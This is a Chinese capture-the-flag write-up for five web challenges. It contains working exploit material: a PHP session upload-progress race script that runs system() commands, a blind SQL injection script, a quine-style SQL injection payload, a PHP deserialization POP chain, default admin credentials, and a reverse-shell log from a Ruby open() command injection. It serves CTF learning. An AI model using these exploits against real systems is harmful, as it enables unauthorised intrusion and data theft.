WebFTP 题目是一个网站管理工具WebFTP2011,上网搜索WebFTP,可以在github中找到这个项目,从README中获取初始用户名和密码
使用说明 1、初始账号 超级管理员 admin 密码 admin888
成功登陆后寻找服务器的网站目录,随便翻看有无可疑文件,最后在phpinfo中找到flag
EasyCleanup 题目给出index源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php if (!isset ($_GET ['mode' ])){ highlight_file (__file__); }else if ($_GET ['mode' ] == "eval" ){ $shell = isset ($_GET ['shell' ]) ? $_GET ['shell' ] : 'phpinfo();' ; if (strlen ($shell ) > 15 | filter ($shell ) | checkNums ($shell )) exit ("hacker" ); eval ($shell ); } if (isset ($_GET ['file' ])){ if (strlen ($_GET ['file' ]) > 15 | filter ($_GET ['file' ])) exit ("hacker" ); include $_GET ['file' ]; } function filter ($var ) { $banned = ["while" , "for" , "\$_" , "include" , "env" , "require" , "?" , ":" , "^" , "+" , "-" , "%" , "*" , "`" ]; foreach ($banned as $ban ){ if (strstr ($var , $ban )) return True; } return False; } function checkNums ($var ) { $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' ; $cnt = 0 ; for ($i = 0 ; $i < strlen ($alphanum ); $i ++){ for ($j = 0 ; $j < strlen ($var ); $j ++){ if ($var [$j ] == $alphanum [$i ]){ $cnt += 1 ; if ($cnt > 8 ) return True; } } } return False; } ?>
session包含思路 由源代码可知,攻击点共有两个,一个是变量shell的rce,一个是file的文件包含,由于shell变量需要经过filter($shell) | checkNums($shell)
,限制太多,想要rce几乎无从下手,于是我们考虑从file寻找攻击点 首先访问/?mode=eval
后可以看到phpinfo的内容
session.save_handler = files 表示session是以文件形式存储的 session.save_path =/tmp 表示session文件的存储目录在/tmp下 session.auto_start = off 表示默认不开启session
通常要进行session包含必须使用到函数session_start();
而在本题中确没有这个函数,无法存储session文件,但本题可以利用session.upload_progress进行文件包含
session.upload_progress.enabled = on 表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 session.upload_progress.cleanup = on 表示当文件上传结束后,php将会立即清空对应session文件中的内容(想要包含session需要利用条件竞争) session.upload_progress.name 表示当PHP_SESSION_UPLOAD_PROGRESS
出现在表单中,php将会报告上传进度,最大的好处是,它的值可控 session.use_strict_mode = off 这个选项默认值为off,表示我们对Cookie中sessionid可控。
当我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。我们就可以采用自定义cookie的方法来存储session文件,并用session.upload_progress.name来控制文件的内容,然后再进行文件包含,实现rce
脚本实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import ioimport requestsimport threadingmyurl = 'http://1.14.71.254:28001/' sessid = 'h2tg' writedata = {"PHP_SESSION_UPLOAD_PROGRESS" : "<?php system('ls /');?>" } flag = {"PHP_SESSION_UPLOAD_PROGRESS" : "<?php system('cat /nssctfasdasdflag');?>" } mycookie = {'PHPSESSID' : sessid} def writeshell (session ): while True : resp = requests.post(url=myurl, data=flag, files={'file' : ('1.txt' , 123 )}, cookies=mycookie) def getshell (session ): while True : payload_url = myurl + '?file=' + '/tmp/sess_' +sessid resp = requests.get(url=payload_url) if 'upload_progress' in resp.text: print (resp.text) break else : pass if __name__ == '__main__' : session = requests.session() writeshell = threading.Thread(target=writeshell, args=(session,)) writeshell.daemon = True writeshell.start() getshell(session)
在writeshell
函数中保持上传文件,data的变量名要为PHP_SESSION_UPLOAD_PROGRESS
,值为要执行的命令,上传的文件可以为任意文件,cookie要设置PHPSESSID
为自定义的id 并在getshell
函数中利用条件竞争去包含session文件,如果成功就把返回的html打印出来
yet_another_mysql_injection 题目是一个简单的登录系统,在注释中可以找到提示 访问/?source
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php include_once ("lib.php" );function alertMes ($mes ,$url ) { die ("<script>alert('{$mes} ');location.href='{$url} ';</script>" ); } function checkSql ($s ) { if (preg_match ("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i" ,$s )){ alertMes ('hacker' , 'index.php' ); } } if (isset ($_POST ['username' ]) && $_POST ['username' ] != '' && isset ($_POST ['password' ]) && $_POST ['password' ] != '' ) { $username =$_POST ['username' ]; $password =$_POST ['password' ]; if ($username !== 'admin' ) { alertMes ('only admin can login' , 'index.php' ); } checkSql ($password ); $sql ="SELECT password FROM users WHERE username='admin' and password='$password ';" ; $user_result =mysqli_query ($con ,$sql ); $row = mysqli_fetch_array ($user_result ); if (!$row ) { alertMes ("something wrong" ,'index.php' ); } if ($row ['password' ] === $password ) { die ($FLAG ); } else { alertMes ("wrong password" ,'index.php' ); } } if (isset ($_GET ['source' ])){ show_source (__FILE__ ); die ; } ?> <!-- /?source --> <html> <body> <form action="/index.php" method="post" > <input type="text" name="username" placeholder="账号" ><br/> <input type="password" name="password" placeholder="密码" ><br/> <input type="submit" / value="登录" > </form> </body> </html>
尽管checkSql对$password的限制非常多,但还是可以对$password变量实现时间盲注,得到数据库名为CTF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsurl='http://1.14.71.254:28090/index.php' str_range=range (48 ,123 ) success='something' str ='' for n in range (1 ,4 ): for i in str_range: payload="'/**/or/**/strcmp(mid(database(),%d,1),'%c')#" %(n,chr (i)) login={'username' :'admin' ,'password' :payload} r=requests.post(url,data=login) txt=r.text if success in txt: str +=chr (i) print (str ) break
但进一步的注入会发现表都是空的,那就必须要构造出满足条件的payload,即($row['password'] === $password)
以下为参考别人的文章进行payload构造
1 '/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
第一次构造
1 2 3 4 5 6 7 8 9 10 mysql> select /**/replace(replace('.' ,char(34),char(39)),char(46),'.' ); +------------------------------------------------------+ | replace(replace('.' ,char(34),char(39)),char(46),'.' ) | +------------------------------------------------------+ | . | +------------------------------------------------------+ 1 row in set (0.00 sec) 使用replace函数,该语句会返回点号 但我们需要返回的是和查询语句一模一样的语句,故我们可以用语句本身来替换点号
第二次构造
1 2 3 4 5 6 7 8 9 10 11 12 13 第一次构造的sql语句 select /**/replace(replace('.' ,char(34),char(39)),char(46),'.' );将上述语句中的点号替换为以下语句 replace(replace("." ,char(34),char(39)),char(46),"." ); mysql> select /**/replace(replace('replace(replace(".",char(34),char(39)),char(46),".")' ,char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")' ); +------------------------------------------------------------------------------------------------------------------------------------------------------------+ | replace(replace('replace(replace(".",char(34),char(39)),char(46),".")' ,char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")' ) | +------------------------------------------------------------------------------------------------------------------------------------------------------------+ | replace(replace('replace(replace(".",char(34),char(39)),char(46),".")' ,char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")' ) | +------------------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
第三次构造
1 2 3 4 5 6 7 8 9 10 11 我们的payload形式应该为(最后有一个井号) '/**/union/**/select/**/xxxxxx 初次构造的payload '/**/union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')# 将上述语句中的点号替换为以下语句 "/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")# 最终payload '/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
1 2 3 4 5 6 7 mysql> select /**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#' ,char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#' ); +---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#' ,char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#' ) | +---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | '/**/union/**/select/**/replace(replace(' "/**/union/**/select/**/replace(replace(" .",char(34),char(39)),char(46)," .")#',char(34),char(39)),char(46),'" /**/union/**/select/**/replace(replace("." ,char(34),char(39)),char(46),"." ) +---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
在mysql中执行可以看到输出的值和我们的payload完全一致,即($row['password'] === $password)
传参后得到flag
pklovecloud 题目给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php include 'flag.php' ;class pkshow { function echo_name ( ) { return "Pk very safe^.^" ; } } class acp { protected $cinder ; public $neutron ; public $nova ; function __construct ( ) { $this ->cinder = new pkshow; } function __toString ( ) { if (isset ($this ->cinder)) return $this ->cinder->echo_name (); } } class ace { public $filename ; public $openstack ; public $docker ; function echo_name ( ) { $this ->openstack = unserialize ($this ->docker); $this ->openstack->neutron = $heat ; if ($this ->openstack->neutron === $this ->openstack->nova) { $file = "./{$this->filename} " ; if (file_get_contents ($file )) { return file_get_contents ($file ); } else { return "keystone lost~" ; } } } } if (isset ($_GET ['pks' ])) { $logData = unserialize ($_GET ['pks' ]); echo $logData ; } else { highlight_file (__file__); } ?>
构造pop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class acp { protected $cinder ; public $neutron ; public $nova ; function __construct ($t ) { if ($t ==1 ) { $this ->cinder=new ace (); } } } class ace { public $filename ='flag.php' ; public $openstack ; public $docker ; function __construct ( ) { $this ->docker=serialize (new acp (0 )); } } $pop =new acp (1 );$pks =serialize ($pop );echo $pks ;echo '<br>' ;echo urlencode ($pks );
读取flag.php内容后得知flag在/nssctfasdasdflag
下,把路径改为$filename='../nssctfasdasdflag'
后得到flag
PNG图片转换器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 require 'sinatra' require 'digest' require 'base64' get '/' do open("./view/index.html" , 'r' ).read() end get '/upload' do open("./view/upload.html" , 'r' ).read() end post '/upload' do unless params[:file ] && params[:file ][:tempfile ] && params[:file ][:filename ] && params[:file ][:filename ].split('.' )[-1 ] == 'png' return "<script>alert('error');location.href='/upload';</script>" end begin filename = Digest : :MD5 .hexdigest(Time .now.to_i.to_s + params[:file ][:filename ]) + '.png' open(filename, 'wb' ) { |f | f.write open(params[:file ][:tempfile ],'r' ).read() } "Upload success, file stored at #{filename} " rescue 'something wrong' end end get '/convert' do open("./view/convert.html" , 'r' ).read() end post '/convert' do begin unless params['file' ] return "<script>alert('error');location.href='/convert';</script>" end file = params['file' ] unless file.index('..' ) == nil && file.index('/' ) == nil && file =~ /^(.+)\.png$/ return "<script>alert('dont hack me');</script>" end res = open(file, 'r' ).read() headers 'Content-Type' => "text/html; charset=utf-8" "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64 .encode64(res).gsub(/\s*/ , '' ) + "\";\n" rescue 'something wrong' end end
该网站是一个将上传的png转换为base64的应用,在转换的代码中有以下部分
1 2 3 4 unless file.index('..' ) == nil && file.index('/' ) == nil && file =~ /^(.+)\.png$/ return "<script>alert('dont hack me');</script>" end res = open(file, 'r' ).read()
file参数必须要以.png
结尾,且不能包含..
,不能包含/
,过滤完成之后会用open(file, 'r').read()
打开,而ruby的open()
函数是借用系统命令来打开文件的,所以可以进行命令注入, 详细原理见Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)漏洞复现 对于file参数的过滤,可以考虑在命令注入的时候用base64编码后执行 直接反弹shell后找到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 root@iZ2zec7mjp663ump9wsug3Z:~ Listening on [0.0.0.0] (family 0, port 6666) Connection from 121.196.63.59 34648 received! bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/usr/src ls app.rb view root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/usr/src cd /root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/ ls bin boot dev etc flag_13242 home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/ cat flag_13242ctfhub{9f618324e7abab7465e5fa6c}